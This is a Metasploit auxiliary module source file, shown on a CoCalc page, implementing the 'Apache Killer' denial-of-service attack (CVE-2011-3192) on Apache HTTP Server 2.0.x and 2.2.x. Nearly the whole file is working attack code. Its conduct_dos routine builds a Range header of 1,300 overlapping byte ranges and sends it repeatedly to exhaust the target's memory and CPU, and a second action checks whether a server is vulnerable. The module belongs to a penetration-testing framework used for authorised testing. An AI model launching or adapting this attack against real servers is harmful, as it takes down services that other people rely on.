Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/apache_range_dos.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
include Msf::Auxiliary::Dos
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Apache Range Header DoS (Apache Killer)',
17
'Description' => %q{
18
The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
19
through 2.2.19 allows remote attackers to cause a denial of service (memory and
20
CPU consumption) via a Range header that expresses multiple overlapping ranges,
21
exploit called "Apache Killer".
22
},
23
'Author' => [
24
'Kingcope', # original discovery
25
'Masashi Fujiwara', # metasploit module
26
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
27
],
28
'License' => MSF_LICENSE,
29
'Actions' => [
30
['DOS', { 'Description' => 'Trigger Denial of Service against target' }],
31
['CHECK', { 'Description' => 'Check if target is vulnerable' }]
32
],
33
'DefaultAction' => 'DOS',
34
'References' => [
35
[ 'BID', '49303'],
36
[ 'CVE', '2011-3192'],
37
[ 'EDB', '17696'],
38
[ 'OSVDB', '74721' ],
39
],
40
'DisclosureDate' => '2011-08-19',
41
'Notes' => {
42
'AKA' => ['Apache Killer'],
43
'Stability' => [CRASH_SERVICE_DOWN],
44
'SideEffects' => [],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(80),
53
OptString.new('URI', [ true, 'The request URI', '/']),
54
OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])
55
]
56
)
57
end
58
59
def run_host(_ip)
60
case action.name
61
when 'DOS'
62
conduct_dos
63
64
when 'CHECK'
65
check_for_dos
66
end
67
end
68
69
def check_for_dos
70
uri = datastore['URI']
71
rhost = datastore['RHOST']
72
res = send_request_cgi({
73
'uri' => uri,
74
'method' => 'HEAD',
75
'headers' => {
76
'HOST' => rhost,
77
'Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10',
78
'Request-Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10'
79
}
80
})
81
82
if res && res.code == 206
83
print_status("Response was #{res.code}")
84
print_status("Found Byte-Range Header DOS at #{uri}")
85
86
report_note(
87
:host => rhost,
88
:port => rport,
89
:type => 'apache.killer',
90
:data => { :uri => uri }
91
)
92
93
else
94
print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
95
end
96
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
97
vprint_error(e.message)
98
end
99
100
def conduct_dos
101
datastore['URI']
102
rhost = datastore['RHOST']
103
ranges = ''
104
105
for i in (0..1299) do
106
ranges += ',5-' + i.to_s
107
end
108
109
for x in 1..datastore['RLIMIT']
110
begin
111
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
112
_res = send_request_cgi(
113
{
114
'uri' => uri,
115
'method' => 'HEAD',
116
'headers' => {
117
'HOST' => rhost,
118
'Range' => "bytes=0-#{ranges}",
119
'Request-Range' => "bytes=0-#{ranges}"
120
}
121
},
122
1
123
)
124
rescue ::Rex::ConnectionRefused
125
print_error("Unable to connect to #{rhost}:#{rport}")
126
rescue ::Errno::ECONNRESET
127
print_good("DoS packet successful. #{rhost} not responding.")
128
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
129
print_error("Couldn't connect to #{rhost}:#{rport}")
130
rescue ::Timeout::Error, ::Errno::EPIPE => e
131
vprint_error(e.message)
132
end
133
end
134
end
135
end
136
137